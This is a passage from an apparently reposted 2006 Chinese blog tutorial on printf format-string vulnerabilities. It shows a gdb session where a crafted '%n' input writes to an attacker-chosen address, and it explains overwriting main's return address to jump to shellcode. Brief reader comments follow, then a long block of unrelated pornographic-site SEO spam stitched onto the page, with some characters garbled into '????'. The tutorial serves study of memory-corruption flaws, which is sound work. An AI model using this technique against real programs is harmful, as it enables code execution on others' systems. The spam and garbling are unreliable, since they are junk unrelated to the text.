            ()就會(huì)將打印長(zhǎng)度存放到0x64636261中去,當(dāng)然這肯定會(huì)導(dǎo)致段錯(cuò)誤

            [root@rh62 format]# gdb ./vul
            GNU gdb 19991004
            <...>
            (gdb) r xxabcd%d%d%d%d%d%n
            Starting program: /root/./vul xxabcd%d%d%d%d%d%n


            Program received signal SIGSEGV, Segmentation fault.
            0x400622b7 in _IO_vfprintf (s=0xbffff224,
            ????format=0xbffff738 "argv[1] = xxabcd%d%d%d%d%d%n", ap=0xbffff748)
            ????at vfprintf.c:1212
            1212????vfprintf.c: No such file or directory.
            (gdb) x/i $pc
            0x400622b7 <_IO_vfprintf+2455>: mov????%eax,(%ecx)
            (gdb) i reg $eax $ecx
            eax????????????0x2f?????47
            ecx????????????0x64636261???????1684234849
            (gdb)

            我們看到,eax中保存的是打印的總長(zhǎng)度:47, vsnprintf()在將這個(gè)值保存到$ecx中去時(shí)
            發(fā)生了段錯(cuò)誤。如果我們將RET換成保存main函數(shù)返回地址的地址,就會(huì)將這個(gè)長(zhǎng)度存放
            到那里去,如果這個(gè)長(zhǎng)度的值剛好等于我們存放shellcode的地址,那么當(dāng)main()返回時(shí)
            就會(huì)跳到我們的shellcode去運(yùn)行了。
            posted on 2006-10-20 20:54 Asp 閱讀(3981) 評(píng)論(2)  編輯 收藏 引用 所屬分類: Binary Life...

            FeedBack:
            # re: *printf()格式化串安全漏洞分析(上) (轉(zhuǎn)) 2006-10-22 09:55 Optimistic
            這么長(zhǎng) 不敢看。。。  回復(fù)  更多評(píng)論
              
            # re: *printf()格式化串安全漏洞分析(上) (轉(zhuǎn)) 2006-10-22 10:33 Asp
            估計(jì)看完也要半個(gè)月以上……  回復(fù)  更多評(píng)論
              
            99久久亚洲综合精品成人| 亚洲а∨天堂久久精品9966| 国产精品久久久99| 久久精品国产99国产精品导航| 99久久精品国产免看国产一区| 色天使久久综合网天天| …久久精品99久久香蕉国产| 亚洲人成无码www久久久| 99精品国产在热久久| 久久婷婷色综合一区二区| 国产精品热久久无码av| 久久久精品人妻一区二区三区四| 香蕉99久久国产综合精品宅男自 | 精品国产婷婷久久久| 午夜人妻久久久久久久久| 久久婷婷五月综合97色直播| 久久精品国产精品青草app| 色综合久久久久综合体桃花网 | 无码国内精品久久人妻| 欧美久久天天综合香蕉伊| 伊人久久大香线焦综合四虎| 久久精品a亚洲国产v高清不卡| 亚洲中文字幕久久精品无码喷水| 久久99精品久久久久久水蜜桃| 好属妞这里只有精品久久| 精品国产乱码久久久久久郑州公司| 久久午夜夜伦鲁鲁片免费无码影视 | 久久久久久亚洲精品无码| 99久久精品国产综合一区| 狠狠色丁香婷婷综合久久来| 久久精品aⅴ无码中文字字幕不卡| 性高湖久久久久久久久| 亚洲乱码中文字幕久久孕妇黑人 | 中文国产成人精品久久不卡| 亚洲国产成人久久综合碰碰动漫3d| 亚洲熟妇无码另类久久久| 久久久久亚洲精品无码网址| 久久九色综合九色99伊人| 九九久久精品无码专区| 久久国产免费直播| 亚洲精品乱码久久久久久蜜桃|